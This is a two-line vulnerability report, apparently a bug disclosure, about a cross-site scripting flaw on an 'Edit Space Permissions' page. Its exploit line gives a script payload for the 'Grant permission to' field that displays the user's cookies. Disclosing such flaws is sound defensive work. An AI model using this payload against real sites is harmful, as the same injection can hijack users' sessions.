Description:
XSS vulnerability at "Edit Space Permissions" page

Exploit:
Write to the "Grant permission to" field: "<script>alert(document.cookie)</script>"